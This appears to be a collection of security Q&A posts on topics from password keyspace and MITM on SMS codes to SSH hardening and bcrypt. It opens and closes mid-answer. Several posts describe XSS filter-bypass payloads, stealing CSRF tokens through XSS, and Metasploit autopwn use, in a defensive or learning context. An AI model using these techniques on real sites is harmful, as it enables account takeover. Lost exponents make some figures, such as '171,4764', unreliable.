If you are choosing four items from a set of 171,476, you have a keyspace of 171,4764. 7 TH/s is 7×1012 per second, so 171,4764 / 7×1012 ≈ 1.24×108 seconds to search the entire keyspace. The average time will be half that. So at a
"measly" 7 TH/s, this would take an average of 715 days.

Note that this only provides approximately log2(171,4764) ≈ 69.6 bits, which is worryingly small. A dedicated attacker can exceed 7 TH/s. Google publicly broke SHA-1, requiring only 263 operations. Doing 269.6 operations is a lot more, but certainly within reach of a powerful adversary.

So what if you are choosing from only 5000 words? 50004 / 7×1012 ≈ 89 seconds maximum, and an average of half of that. After all, it only provides 49 bits of security. Not good!


All UTF-8 characters for generated passwords Why do a lot of password generators don't generate strong passwords including chinese, arabian...-characters? All generators I saw, also the included one in my password manager keepass, just output characters that are related to western languages.

In some cases would it be understandable, if the user

needs to type his password manually into the computer
doesn't now how to enter such characters.

Also some characters have nearly the same shape which could leed to confusion, because the input looks right, but the characters have the wrong UTF-8 code.

Uses of a password manager would not encouter the listed problems or are there other aspects to consider?

To answer your two specific examples:

Most Western computer systems don't have fonts with complete coverage of CJK characters, and when they do, the appearance isn't always correct.  Having a password displayed to you as a series of boxes isn't particularly useful, and worse, some programs will replace those un-displayable characters with substitutes, mangling your password.
Arabic, in addition to the missing-coverage problem, has an additional problem that characters change their appearances depending on what characters they're written next to.  Not all programs implement this correctly.

In short, it's better to stick with characters that are known to work almost universally (the ASCII subset of Unicode) and make up for the lack of variety with an increased length.


Man in the middle attacks for Out of band Authentication I was researching on methods to avoid man in the middle attacks. I thought of using out of band authentication but i read the wikipedia article on the same topic which goes as follows:

"In authentication, out-of-band refers to utilizing two separate networks or channels, one of which being different from the primary network or channel, simultaneously used to communicate between two parties or devices for identifying a user. A cellular network is commonly used for out-of-band authentication. An example of out-of-band authentication is when an online banking user is accessing their online bank account with a login and a one time password is sent to their mobile phone via SMS to identify them. The primary channel would be the online login screen where the user enters their login information and the second separate channel would be the cellular network. This added layer of security prevents the likelihood of hackers and malware from compromising access to the complete authentication process, however, this method of authenticating a user is known to be vulnerable to man-in-the-middle (MITM) attacks."

Can someone please explain why the bold line stands true? To put it in a different way, how is an out of band authentication like sms vulnerable to man in the middle attacks?

The threat is when the MITM owns the login screen.

If, for instance you click a link in an email that purports to be a link for https://yourbank.example but is actually a link to http://yourbank.evilbob.example, and enter the username and password you use for your bank website, Evil Bob merely needs to forward those on.

Then, https://yourbank.example which doesn't know that that it's EvilBob's website submitting your credentials and not you, dutifully sends an auth code to your phone and waits for your response.  However, you're still on http://yourbank.evilbob.example, which has accepted your username and password and presented you with an input field to type in the auth code you're going to receive on your phone.

So, you type the auth code into http://yourbank.evilbob.example, which turns around and submits it to https://yourbank.example, and Evil Bob's website is now logged into your online banking interface.

That is the man in the middle threat for out of band two factor auth.


Site-to-SIte OpenVPN with shared key I have two physical sites each with edge router/firewall running pfSense they are directly connected through a WAN link. I've deployed site-to-site OpenVPN using pre-shared key to create tunnel on top of this WAN. I'm using this connection only to connect my core infrastructure of the organization (DFS, Root DC replication, NTP sync). One of my pfSenses is also a host-to-Site OpenVPN server used by my admins & devs to make remote connections to the infrastructure. My only ports open on the public facing WAN's are 443 for my web-servers and 1194 for my host to site (cert + radius authentication), i have also some narrow rules for NTP and exchange.

Given that my routers are directly connected should I be really concern about possibility of somebody sniffing traffic on this WAN and reversing the keys? Is there a way to capture the traffic going between those routers without compromising them? If my traffic is already encrypted before entering the tunnel may it be considered secure, or should I work towards something even more secure like OpenVPN with the certs?

... possibility of somebody sniffing traffic on this WAN

If you fully control every part of the WAN then you should know if somebody can sniff or not. If you don't fully control every part you should probably assume that somebody is able to sniff, even if the routers are directly connected, i.e. no router, switch or something like this in between. It is still possible to intercept traffic directly by splicing the line and adding an interception device, no matter if you use Ethernet, fiber or similar for the WAN.

  If my traffic is already encrypted before entering the tunnel may it be considered secure ...

It can be considered more secure then unencrypted traffic but it depends on the details if it can be considered secure enough. These details are for example the quality of the encryption or if sniffing of meta data (who connects with whom, how long, how many bytes...) is considered a risk which need to be addressed or not.


Can XSS mitigate all anti-CSRF protections? Say a website has the following form on their sign-up page:

<form method="POST" action="https://example.com/login/">
<input type="hidden" name="x-csrf-token" value="[token]"/>
<input type="hidden" name="firstName" value="[first name]"/>
<input type="submit" value="Submit">

We know for a fact that the firstName value is susceptible to XSS. If I type in <script>alert(1)</script>, I get a dialog box.

However, I only get this dialog box on the next page, https://example.com/login/2.

Can the XSS on this website be used to steal the x-csrf-token and submit the form, even if the token is only generated on the first page? The end goal would be to have the attacker host a website with a maliciously crafted form, which would force the victim to make a POST request with the XSS in firstName being used to steal their CSRF token.

Assuming you can reach the second page without needing a cookie or other stateful artifact of going through the first page, yes, you absolutely can do that. Use XMLHttpRequest or fetch to retrieve the user's view of the first page, extract the CSRF token, and then use it to POST the values you want. Alternatively, inject an iframe for the first page into the second (it can be invisible to the user), and then you can read the iframe's contents and manipulate its DOM, because it is same-origin.

Alterntively, for login CSRF, just programmatically set the session cookie in the XSS payload. Login CSRF matters, but only after you have completely eliminated XSS and usually post-authentication CSRF matters a lot more, too. Sign-up CSRF is basically a weird case of login CSRF.


How does a botnet update? So recently I started to study how botnets work. But recently I stumbled onto a problem. I even tried brain storming how it would do it, but I couldn't think how a bot would update its code. I also tried researching it on google, but I got nothing. If someone could provide me with some sort of software updating algorithm, or a documentation on how a bot would update then that then that would be nice.

Botnets reach out to a Command and Control (C2) server - typically a range of servers to help mitigate server takedown issues.

When they connect to a C2 server, the server may chose to initiate a function in the bot - for example to take part in a DDOS attack - or may chose to update code within the bot.

Clever bots will have the ability to rewrite themselves (or part of themselves) in memory as well as being able to update whatever file(s) the bot uses. Some bots only exist in memory and are lost on reboot.


Safely store passwords in specific scenario I have a specific network environment. Its a DTN(Delay Tolerant Network) network without continous connectivity, situated on the sea, where nodes are ships. There is also a server that is a part of land infrastructure, for clarity lets name it server B. On each ship there is a computer that has custom routing software installed and also acts like a www server. On the www server there is a web email service, where users register and login with their email accounts. They should be able to read their mails and send new emails. Because the network connectivity isn't continous we can't use directly IMAP, POP, SMTP protocols to communicate with mail servers. The idea is that server B on land infrastructure will make the communication on behalf of the user. So web server on the ship will send a message containing mail information encrypted with server B certificate to some transit nodes in the network when they meet and server B decrypt that message and make the IMAP communication. The user can also register at server B and tell it, that it should check inbox messages for every 5min and if there are new mails send them addressed to the ship.

The problem is that passwords stored in the database can't be hashes, because server B wouldn't be able to make the SMTP, IMAP dialog were hashes are unacceptable. My soution is to store in the DB at servers encrypted passwords with server B certificate. When server B wan't to make SMTP it decrypt passwords with it's private key. The drawbacks of this solution is that it is slow and when private key of server B is disclosed then all user passwords can by decrypt.

Is there any better solution for this problem?

You seem to be re-inventing the wheel.  The Internet was originally designed for clients that connect at irregular intervals.  The server on the land is your mail server.  The infrastructure machine on the ship can just mirror or buffer the information to the many clients on the ship.  The Internet was designed to solve just this sort of problem, and there is tons of legacy software for this.

Probably you can configure two mail servers that will handle this for you without you having to write a single line of code.  You need a mail server on land, and a mail server on the ship.  When the ship has Internet access, it can query the land-based mail server to get the new mail for recipients on the ship.  There does not need to be an exchange of passwords if the land-based mail had a verified list of email addresses for people on the ship.

Put another way, you can set up a domain for the ship and everyone on the ship is mailbox@ship.com or something.  Then the normal mail routing protocol will deliver the mail to the ship when its mail server connects to your land-based network.

There shouldn't be any password problems if you configure mail routing properly.  The mail server on the ship will check each user's password when they connect to get their mail.


Are there other ways for a CA to have their certificates included in a browser? From what I understand, the certificate authorities (CAs) have to get their root certificate included in the browser.

What if the root certificate of a particular CA is not included in the web browser yet. Is there another way to get it in?
Maybe my question is not clear enough. The question shoud be : in a PKI hierarchical model, if  subCAs have not root certificate include in web browser then how subCAs can get in?

Depends on the browser and the host OS, but it is usually possible to tell the OS or browser to trust a new CA.

For example, if you are using Internet Explorer or Chrome on Windows then you can import a certificate into the Windows "trusted root CA" certificate store and it will be trusted unless another certificate is pinned.  Firefox is more complicated.

As another example, you can install a new certificate on Android.  This should work for most or all browsers, but they might ask you to make an exception before trusting your new certificate.

Other operating systems and browsers have different mechanisms for certificate installation.


Why aren't the TLD registries the TLS CAs? Here's one thing I don't understand - why is it possible for a Chinese organization to forge an SSL certificate for an American website and the other way round? What led to a design decision of creating general CAs instead of forcing the TLD registries to verify identity of the domain owners, only allowing - for example - .com TLD registry to sign .com certificates?

simply because CA's predate TLD Registrars. The whole Idea of Certificates have there origins in the DAP times (Directory Access Protocol), When the Idea was more along the lines of Central Directories giving Authority to specific users from certificates. (I am paraphrasing here)

For historical reference. the first DNS (BIND) is from 1984. Many years after.


Can a CSV contain malicious code? I am working with a system that allows users to upload CSV files, that are downloaded by other users.

The system validates (amongst other things) that all CSV files can be parsed by an RFC 4180 compliant parser, and are valid UTF-8. It ensures that when files are downloaded, they have Content-Type: text/csv; charset=utf-8, and Content-Disposition: attachment; filename="download.csv".

A concern has been raised that the system could be used to transmit malware or malicious code.

Are there any known mechanisms where a malicious CSV file could cause code to be executed by the recipient? If so, is there any further validation that would reduce the risk posed?

Yes, there are some examples of malicious CSV files causing random "code" execution. People choose to open CSV files in MS Excel or Open Office or such software which have macro execution capabilities.

Some examples:

https://www.contextis.com//resources/blog/comma-separated-vulnerabilities/
https://hackerone.com/reports/72785

If your environment does not use popular applications such as MS Excel to open CSVs, the risk is significantly reduced. I would also look for the presence of external, potentially malicious links in the downloaded CSV that might be hosting drive-by downloads (hence you would want to avoid visiting these links).


SFTP client and passwords So I want to set up this client on a server which downloads (SFTP) the error logs of several defined servers

Instead of having a configuration file containing the sftp credentials I am considering using privatekey files.

Anything that should be considered here or are there other options?

This is a perfectly reasonably approach, especially when you want to automate the downloads.

Considerations:

Make sure the credentials only give access to the log files and nothing else
Keep the private keys secure
Don't make the key lifetime too long a year, maybe 2 at the most
Use a long key and generate with plenty of entropy

That's about it. There are loads of tutorials on how to do this.


How is this site forcing page reloads with JavaScript disabled? I have disabled JavaScript using the Firefox extension uMatrix and yet some websites are still able to force page reloads at an interval referenced by a script on that page. How is this possible please, and can I prevent it?
For example, https://www.drudgereport.com/ contains the following script tag meant to reload the page every 105 seconds:
<script type="text/javascript">
<!--
var img = new Image(), url = "/204.png", container = document.getElementById("div-204");
img.onload = function () { container.appendChild(img); };
img.src = url;
var timer = setInterval("__drudge__321__autoRefresh()", 1000 * 35 * 3);
function __drudge__321__autoRefresh(){self.location.reload(true);}
(function () {
    var __oldClearInterval = clearInterval;

    clearInterval = function (arg) {
        if(arg == timer) {
                console.log("clearInterval of TIMER intercepted! (" + arg + ")");
        }
        else {
                __oldClearInterval(arg);
        }
    }
})();
//-->
</script>

With JavaScript disabled, the page still reloads every 105 seconds, indefinitely. My expectation is that when I disable JavaScript, scripts embedded in the page are prevented from executing.

The page refreshes periodically because of this tag:
<meta http-equiv="refresh" content="105">

That asks the browser to refresh, without needing JavaScript.


How to store passwords securely in my server? Disclaimer: I know I should use bcrypt to securely store user's passwords. Please, keep reading.

I want to store credentials for several email services for each user. So if I log in with my username and password (which is properly hashed), then I can access several emails, including 2 @hotmail, 1 @gmail, my university one and several others through imap. I'm using imap to read the emails, which requires the email and password in plain text. So, how do I securely store these passwords?

What I've thought of:

Some services offer an API. Use them whenever possible.
Encrypt each user's credentials with their login passwords, so only a user that knows his login details can decrypt his credentials and thus access the emails. I'm not sure of how to properly do this, so here's where I need help. I'd use mcrypt_encrypt() from PHP with MCRYPT_RIJNDAEL_256.
Request the password each time the user logs in. Not practical if the user has more than 2 services connected.

TL;DR

How do I store passwords in a db so I can use them with imap later on?

You face the problem every password manager faces. I believe that their solution is to use a symmetric algorithm to encrypt the sensitive data, and use a master password for each user to derive a decryption key for all his/her saved passwords. This master password will have to be entered every time your script/application is restarted or, in the case of a web application, every time the user logs in.

This is basically what you describe in your second bullet point. The cryptographic tool you need is PBKDF2: use this on the user's login password when it is sent. The resulting key should be suitable to encrypt/decrypt passwords in the database using MCRYPT_RIJNDAEL_256.

On a side note : make sure you use different initialization vectors each time you encrypt new data !


What are the security implications of a device like Coin? Coin is a new device aimed at replacing up to 8 credit cards in your wallet with a single device.

It apparently works by scanning the credit card data into a mobile application that syncs with the Coin device itself over Bluetooth. The scanner works like a credit card skimmer from my understanding of it.

What are the security and regulatory implications of a device like this? Does it violate PCI-DSS in anyway? Without actually having the device to test against, what plausible security threats might exist?

Coin relies on the loophole that they're not a merchant or a middle-man handling payment data; they're just an electronic form of a physical wallet and the data is always with the customer (on the Coin itself). This is apparent in their FAQ:

  Q. Does Coin have a PCI PA-DSS validation?

  A. The PCI Security Standards Council PA-DSS program addresses payment
  applications used to accept and process payment for goods and
  services. A device such as a Coin is seen as similar to a payment card
  in a consumer’s wallet and the standard does not apply.

Coin loses one aspect of handling a payment card - physical identification characteristics; the name isn't physically present on the card, so is the expiration date and the customer's signature. This will be met with disagreement from merchants as this will make fraud much more difficult to detect by the human cashier employee. (Note: This is one aspect of fraud detection. I'm aware that this can be easily circumvented. The fact is, merchants still train their employees on these practices).

Clearly, this device is targeting the US market where magnetic stripe cards are still the standard.Personally, I see this device massively failing (and I certainly hope so) because most US card issuers have announced that in 2017 they will be implementing a liability shift in cases of fraudulent transactions. This means that any merchant or ATM operator that doesn't use EMV (~Chip&Pin) will be liable for this transaction. Which means EMV-compliant cards will be used more and more.

Since EMV-compliant cards can't be cloned*, this Coin device will eventually die, just like its inventors hipster style.

* Well, they can be, with the help of electron microscopes and fancy laser technology, but let's not get into details on this one.


Can you write OS-related virus using high level languages like Python It is a well known fact that OS-related viruses are commonly written in low level languages like C or C++ which require direct access to the kernel of the CPU , I am just wondering if its possible that viruses can be written in high level languages like Python or Java which does not have as much access to the CPU kernel  ???

Yes, malware exists in all sorts of languages. Often, though, some of the most critical fiddly bits of many exploits are written not in C or C++, but rather directly in machine code, carefully assembled often by hand. This may be the only want to get the sizing and alignment correct for what you're trying to do.

The distance from the "metal" is a matter of abstractions and assumptions.

Writing in machine code uses no abstractions and creates no assumptions.

Writing in assembly provides some level of abstraction, but now you're dealing with the assumptions made by the assembler. So code might not be aligned like you want, but the instructions will be predictable.

Writing in C adds another layer of abstraction, but now you're limited to the sorts of assembly code that the C compiler will produce.

Writing in C++ adds quite a lot of abstraction, particularly with respect to memory management and function calls. Now your code might be rearranged a bit, and you may get more code in your binary than you actually wrote. Depending on your target, this is typically not a problem, but many programs (famously the Linux kernel, but also others) avoid C++ because they don't want any unpredictability.

Writing in Python changes things pretty significantly. Now you're not even producing machine code, you're producing instructions for an interpreter. How the code executes depends on the version and build of the interpreter installed, and your assumptions have to be tuned accordingly. You can only use it where a python interpreter is installed, and only in contexts where python can be invoked.

You use the tool for the job. Many exploits involve even Bash code, which is far less capable than Python, but it's simple and it's available. If you really know what you're doing, then this isn't even a question worth putting a lot of thought in to; you use the tool that gets the result you're looking for.


Is there an SQL injection equivalent on url-passed parameters to a servlet? In SQL injection an attacker can craft a string that if left unchecked and executed it can complete and execute arbitrary SQL commands.

Is there an equivalent to these kinds of attacks in JSP pages? Specifically, is an error handler, which only prints URL-passed parameters on screen, capable of executing arbitrary code this way?

EDIT: Original post above, obviously parameters should NEVER be passed to the system unchecked. In case of web-apps that handle any kind of CRUD operations over any kind of persistence records using parameters it's a must. The attack is known as HTTP Parameter pollution, or HPP.

Based on the "No system is 100% secure" mantra, I would like to know is something as seemingly inoffensive as printing the parameters can be abused.

Executing arbitrary code is doubtful, other forms of injections are a possibility.

Things such as HTML injection or even XSS might occur if the input is not properly checked and/or output encoding is not performed.

Also consider the possibility of phishing and non-persistent defacement.

An error handler should never be dependent on GET parameters and should only display minimal information. It is recommended not to use a GET parameter to generate an error message.

Hope this helps!


Can an unprivileged program modify an HTTP request response on the local machine? Imagine you have a simple GET request going to server 123.456.111.222. Your client executable creates a winsock on the server IP (TCP) and sends the HTTP request (unencrypted) to the server. If a local program found the outgoing request and specifically the source port of the request, could that program send its own data to that port? (Hopefully winning the race condition, but it should given it's localhost)

I would get the source port by using GetExtendedTcpTable however I am not quite sure if it would be as simple as opening the port using winsock and sending the data.

Not on Linux.

On Linux a program must have elevated privileges for opening a raw socket to perform that type of thing. It would need elevated privileges to read the TCP Sequence Number too, to create a packet within the receiving window on the other side.

On Windows, there are some limitations:

TCP data cannot be sent over raw sockets.
UDP datagrams with an invalid source address cannot be sent over raw sockets.
A call to the bind function with a raw socket for the IPPROTO_TCP protocol is not allowed.


Backtrack 5 R2-64 bit cannot load database (postgres) help required? I want some help regarding use of autpwm feature in backtrack 5 R2. I'm using bt5 (64 bit) on my dell inspiron N5110 laptop. I downloaded the copy fresh from the website and running it as dedicated O/S.

I'm running postgresql 8.4 the reason i know is because i can start it up by issuing the following command /etc/init.d/postrgres start.

In msfconsole when i issue the command to activate database i get errors and just errors. For e.g when i issue command db_driver i get error (command not found) same applies when i write db_driver postgres.

I don't think metasploit is even recognizing that i have a db installed on my machine. I want to run autopwm feature against my test victim machine kindly help me

regards.
asad

Are you running metasploit from the menu or the command line? The database gets preconfigured if you go through the menus. I've had this same issue.

Frankly though, you should be reading the Backtrack forums for this kind of question.


How to make access to a remote program without that the user has the possibility to run any Linux command? I have an interactive program. Actually, the program can be reachable over SSH. In the .profile file, the program is launched immediately and with the interactive interface it is not possible to launch any Linux command. However, it is trivial to get a command interpreter with SSH. So, I am wondering what the best practice to prevent the user from sending Linux command.
EDIT: If I used the following Python script:
#! /usr/bin/python3
# -*- coding: utf-8 -*-

from pwn import *
import time

s =  ssh(host='myip', user='myuser', password='mypassword')

sh = s.run('ksh')

The command ksh will be ignored with Forcecommand?

You can do this using the ForceCommand option in sshd_config:

ForceCommand
Forces the execution of the command specified by ForceCommand,
ignoring any command supplied by the client and ~/.ssh/rc if present.
The command is invoked by using the user's login shell with the -c
option. This applies to shell, command, or subsystem execution. It is
most useful inside a Match block.

You can specify a Match block that is specific to the user or group you're trying to control.


How to protect client server app if both: client and server - located on client side? Frontend communicates to backend.
I am a developer of frontend and backend.
I want to protect my app (prohibit end user from using my app without paying).
The only thing I have in mind is to have some middle point, some my server.
Frontend send some encoded request to my server, there request is being transformed in a form, that backend could understand. and only then backend can answer to frontend directly without my server as intermediary in communication chain. Client make request to my server, but get data directly from backend which is located on his side. I am not getting any private client information, but I have ability to protect app.
Is it correct way? How it is usually done? Frontend - react app, backend - php.
Update:
My question in another words. I've created an app. It consits of two parts: frontend (React) and backend (Laravel). I would like to make it paid for end users. How it is usually done? Usually you put backend on some cloud server (Amazon for example), then users log in to your frontend and use your app (saas). Thus your app is good enough protected: backend is on server, to which only you have access. My app should be fully installed on client's server, both: frontend and backend. So the client can see backend code and frontend code. I need somehow to protect my app in such situation. Above I described my thoughs about how I could do it.

This is always a tricky question, and from an attackers view, it is always possible to reverse engineer your "backend", if you provide it to run locally at the attackers server.
You could use some obfuscators and anti debugging frameworks (usually one doesn't implement this from scratch) to make it more difficult to get the data out of the app, however it doesn't make successfull attacks impossible but depending on the value of your "backend" logic it may be enough protection. But using function hooking techniques it may not even be necessary to reverse engineer your code.
If your backend is of high value, there won't be a suitable solution where you run it in an untrusted environment.


storing username/email and password with a hash of the hash of the email/password? Quite the simple discussion this one (one would assume):

If I'd hash the email and password, and then hash the hashes, whould this be considered safe enough or would this just be a waste considering you could just salt them both?

What should the salt be, could it be the username-part of the email?

Don't hash the usernames. For passwords, hash them using something like bcrypt or PBKDF2. Read this ASAP for more (also contains example source code).


How can I add bits of security? (e.g. RSA + ECC) If we have an RSA layer of encryption over some text with n bits of security, then we use an elliptic curve, say with m bits of security, how can we calculate the total bits of security with RSA(ECC(...))? Do we multiply, add, or something else to caulcate the total bits of security?

Your question is:

RSA has n bits of security,
ECC has m bits of security,
We are doing RSA(ECC(...)), how many bits of security does it have.

The answer to this really depends on taking a close look at what RSA(ECC(...)) means and thinking about what an attacker would need to do to break it.

Side note here: elliptic curves don't do encryption -- they do signatures and key exchange, so I'm not totally sure what RSA(ECC(...)) means -- so this is the first "it depends" that we'll run into.

If it means that first you encrypt with ECC, then you encrypt with RSA, then what would an attacker need to do to break it? Well, they start with the RSA ciphertext. If they cracked that (by doing 2n work), then they would have revealed the ECC ciphertext. If they cracked that (by doing 2m work), then they would reveal the plain text. They have done 2n + 2m total work.

If we're talking about key exchanges, then how does the combiner function work? Do they have to break only one of them at min(2n, 2m) work? Does the attacker have enough information to crack each independently at 2n + 2m work? Or are they combined in such a way that you really need to attack them both together, in which case it would be 2n * 2m = 2n+m work?

If we're talking about signatures, then RSA(ECC(...)) doesn't make sense, and instead you have something more like RSA(...), ECC(...). Does the security of the protocol require them to break only one of them at min(2n, 2m) work? Or both of them independently at 2n + 2m work?

TL;DR: The answer, unfortunately, is a big fat "it depends" based on the details of how RSA(ECC(...)) works.


What are the risks of SSHing to an untrusted host? When SSHing to a host that has been compromised (or outright replaced using the stolen server keys) by an attacker with root permissions, what is the worst that can happen to the client?

It is well known that X forwarding poses some risks, and agent forwarding is obviously a bad idea in that scenario, but are there more issues?

What information can be gained about the client, in addition to environment variables set by ssh (SSH_CONNECTION, everything from ~/.ssh/environment)?
What can be accomplished with terminal escape sequences?
How hard is it to fake a logout (in response to CTRL+D, logout etc.) to the client, thereby provoking a user to execute additional commands with potentially sensitive inputs on the remote host, like sudo with a password entry? Can the client's prompt be read remotely to make such a deceit more convincing?
Are there any effective ways to prevent such deceit, like aliasing ssh to "ssh; echo somesecret"?

Intercepting the "logout" commands is easy on the hostile server. Intercepting the "Ctrl-D" requires taking control of the terminal in raw mode, but that's not a big issue.

Reading back the terminal contents might prove difficult. Different terminals implement their own set of control sequences; xterm is notorious for implementing a lot of them. I don't see any sequence which allows reading back the terminal contents; however, some considerable messing up can still be done with the sequences, such as moving the window around, switching fonts, and so on. In older days, it was possible to actually make xterm create local files, albeit without much control on the file name (I don't remember the details, but it was probably with the "log files" feature which may be disabled at compile-time). Besides dancing, an xterm could be made to sing, too, with the "bell character" -- it is more a nuisance thing than an attack vector, though.

Speaking about nuisance: depending on the client system and its configuration and graphic drivers, a rogue terminal scrolling text at high speed may all but freeze the victim's console (in my experience, gnome-terminal and a compositing window manager can turn into a bad combination for that).

Still in xterm, there are sequences to manipulate the clipboard (search for "manipulate selection" in the reference page linked above). This can be nasty, both for reading and for writing. See this page for a discussion about the possible issues (an issue-tracking list of comments, from people discussing the possibility of importing that mechanism in a terminal emulator called mintty).

The overall conclusion is: do not SSH into insecure hosts. If you do, you may want to do that from rxvt-unicode, an rxvt fork where the author made (among other features) some effort at disabling "insecure" control sequences by default (they can be brought back with the "-insecure" command-line parameter).


Why can I use 2 different private keys to connect to my SSH server storing only 1 public key? On my server ~/.ssh/authorized_keys contains only 1 public key. However, I can connect to it using 2 different private keys.

One private key looks like this:

  -----BEGIN RSA PRIVATE KEY-----
  MIIEoQIBAAKCAQEAqaO1eFD6XTTbmcItrptJxRJr89oW2gwlFU0tt8oF/6ZbOfV9
  …
  p1RjkISOfKl7YEElZEBHsl/ikCgv2C8DIOTTknXYDXeIxi/PMg==
  -----END RSA PRIVATE KEY-----

The other private key looks like this:

  -----BEGIN OPENSSH PRIVATE KEY-----
  b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jYmMAAAAGYmNyeXB0AAAAGAAAABDwMB0nEv
  …
  LlI3s=
  -----END OPENSSH PRIVATE KEY-----

Why?

This could well be the same key in two different formats. Try extracting the public key for both and compare the fingerprints, for instance using the commands here. The public key is unique and part of the public key / private key  pair. The fingerprint over the public key is unique with very high probability. So if the comparison succeeds you've got the same private key.

The fingerprint comparison should be sufficient, but to be even more sure you could generate a signature using the private key and verify it using the public key generated from the other private key. If it verifies the public and private keys are part of a key pair. SSH is however not meant for this kind of operation so it will be harder to accomplish - and it is only slightly more solid than creating a secure connection in the first place.


XSS filter bypass &lt and/or < On a homepage I can inject HTML-text in the URL. After som T-and-E I was able to send in this thing; ?type=<script<script>>alert(1)</script<script>>
Which gave me a homepage which presented me with the headline-text: <script>alert(1)</script> So I am pretty close.

The Page Source had the following HTML: <h1>&lt;script>alert(1)&lt;/script></h1>
So for some reason only the Less-than is transformed into &lt. As soon as I send in the &-sign the whole html-injection is filtered out.

Any suggestion on how I can bypass this. I have tried double encoding to get the real "<"-sign.
Any "<"-sign sent into the URL gets converted into &lt.

I have tried suggestions from OWASPs checklist, Portswagger, Stackoverflow etc. The injection is out-of-tags. It is not in a script or html-tags, so I need to put it between tags according to me.

I take it you have a situation like this:

That is what OWASP calls inserting "into HTML element content" in their cheat sheet. To get anything done in thet context you will need to open a tag, so you will need a <. Without that, you are toast at that specific location.

The protection they are using seem to be some weird sort of homebrew that does multiple things at once without any real strategy. But it does look like it replaces all < with &lt;. You should try the usual stuff like mixing case, throwing in whitespace at unexpected places, or using different tags (e.g. an image with onload). But if you cant get a < in there, you are not going to get anywhere.

I wouldn't be very hopeful to get anywhere at that specific injection point. But since the defence looks a bit haphazard I would keep looking for other injection points. Perhaps inside a HTML attribute, or maybe in a comment or a script tag or something like that.


What alternatives do email services provide when an account is hacked? I am concerned about how does email services like Yahoo, Gmail, Hotmail etc provide security to their costumers and prevent their account from being compromised.
For example,
I have seen that if someone tries Brute Force Attack on Yahoo. After some attempts the account is blocked for some time. This gives rise to two problems,

  The account is anyhow going to be unblocked by the email service.
  So, can't the Brute Force Attack be continued? Isn't it dangerous
  for the security of the user?
  If the software attacking (say some Brute Force Attacking
  Program) is continuously attacking the email address, then the
  account is kept blocked and the user has to wait. Does the email
  service provide any other option if such a problem occurs?

Gmail provides you with an out-of-band channel when logging from an unrecognized device! you can enable this two factors authentication feature so that every time you try to log in you have to provide an additional confirmation code that you get either from a phone call or just a text message. neither Yahoo, nor hotmail has already implemented this yet


How do I secure my login page? The login page is the starting point to any web site and the most important thing to authenticate the user.

When I begin to build any web application, I take a lot of time to think about how to design a login page with flexible interface and so secure.

Is there any common advice, tips, or a "must do" list to take into consideration when I begin building the login page? I want general advice, because my DBMS may be Informix or MySQL or SQL Server.

Modern day version:

Use HTTPS for your entire site, including the marketing pages. Add the HSTS header.
If your target audience is computer savvy enough, then avoid the traditional username & password login completely. Offload that to a good federated login system, such as multi-provider OpenID, or Facebook Connect or Google's login.
For the functionality on your site that has higher security needs (the important stuff) use CSRF tokens.


How to get other people's bcrypt hashes to add to htpasswd file I need to restrict some webpages to certain users and I do this using a .htpasswd file through nginx.

The problem is I need to add other people's bcrypt password hashes to my .htpasswd file. Would it be possible for them to generate it using htpasswd on their own machine (could be windows, mac, linux), and then give me the resulting hash? I would add this hash to the .htpasswd file.

The other problem is I think bcrypt uses salts to generate the hashes. If they generate a bcrypt hash on their own computer with their own salt, wouldn't this be a problem since the server wont' have that salt value? Conversely, if bcrypt doesn't use salts but if I want to use salts, how would I solve this problem?

Normally the output (hash) when hashing a password with Bcrypt is not merely the hash: it is a text string which also encodes the salt and identifies the hash algorithm used.

From this stackoverflow answer:

$2a$10$vI8aWBnW3fID.ZQ4/zo1G.q1lRps.9cGLcZEiGDMVr5yUP1KUOYTa

  2a identifies the bcrypt algorithm version that was used.
  10 is the cost factor; 210 iterations of the key derivation function    are used (which is not enough, by the way. I'd recommend a
  cost of 12    or more.)
  vI8aWBnW3fID.ZQ4/zo1G.q1lRps.9cGLcZEiGDMVr5yUP1KUOYTa is the salt and    the cipher text, concatenated and encoded in a modified
  Base-64. The    first 22 characters decode to a 16-byte value for the
  salt. The    remaining characters are cipher text to be compared for
  authentication.
  $ are used as delimiters for the header section of the hash. This    example is taken from the documentation for Coda Hale's ruby
  implementation.

htaccess allows for generating bcrypt with the -B switch (refer to the manpage here). So as long as everyone has htaccess installed or anything else which can generate valid bcrypt hashes, you should be alright.


Is it unsecured to use TOTP codes on the device that generates them? Let's say I have a TOTP generator app (like Google Authenticator) installed on my smartphone. I use it for 2FA for service X. How bad is it if I log in to X's website/dedicated app on the same smartphone? Would I gain anything by using an airgapped phone dedicated for TOTP?

My opinion is that if all the data needed to compromise your systems exists in one place, that becomes a single point of compromise. It doesn’t completely negate all the benefits of 2FA, but a sophisticated attacker would have one-stop shopping to grab your generator’s key and state, as well as your passcodes and passwords.

However, I am not the risk analyst assigned by your company to make the determination of whether or not this poses an acceptable risk to your organization. You need to contact your own security team and ask this question of them. They are the people who will weigh the risks of convenience against the potential for loss. They know the threats and the value of the company’s assets. They understand the need to balance usability and security. They’ll decide if it’s worth the effort to pursue a technically pure 2FA solution.

They should also make decisions based on the risks of a particular type of access. For example, the PCI rules may say “2FA required to view a credit card number”, which they might internally consider to be a medium risk, and they may have a dozen phone operators who all need similar access all day long, and so they approve phone-based 2FA for them. Or you might have access to your company’s cryptographic key servers, which hold the keys to all your databases and code signing servers, and they might decide you need to carry an air gapped 2FA token.

It’s all about risk and risk tolerance, and nobody on the Internet can definitively state what is right for your organization.


Store password locally. Where? How to pass it securely? I'm developing an application. The user must enter his credentials which will be sent to the server. If the user opens the application a second time he shouldn't need to enter them again - credentials should be stored on user's machine. Also this data can be passed around. My app is cross-platform so I'm searching for a cross-platform solution. So step by step the algorithm should look like this:

The user enters login and a password, and this data goes to the server. How can I securely pass it? Should I use a secure protocol like https or ssl?
If the credentials are correct I need to save this data to the local machine. Should I use a local database file, a binary, or just a text file? Where to store this file? And I bet I need to encrypt this. Also I need to decrypt it later, but for decryption I need some additional data (some key, probably), right? Where to store this additional data?
At some point I need to pass this information to another process. I already have tcp communication between processes established. Is this enough for passing? Should I pass it encrypted or decrypted.

Please correct me if my steps are wrong. This is a first time I'm dealing with security so I'm lacking knowledge.

The user enters login and a password, and this data goes to the
  server. How can I securely pass it? Should I use a secure protocol
  like https or ssl?

Yes! You need to pass the data in a security way, using TLS for example.

  If the credentials are correct I need to save this data to the local
  machine. Should I use a local database file, a binary, or just a text
  file? Where to store this file? And I bet I need to encrypt this. Also
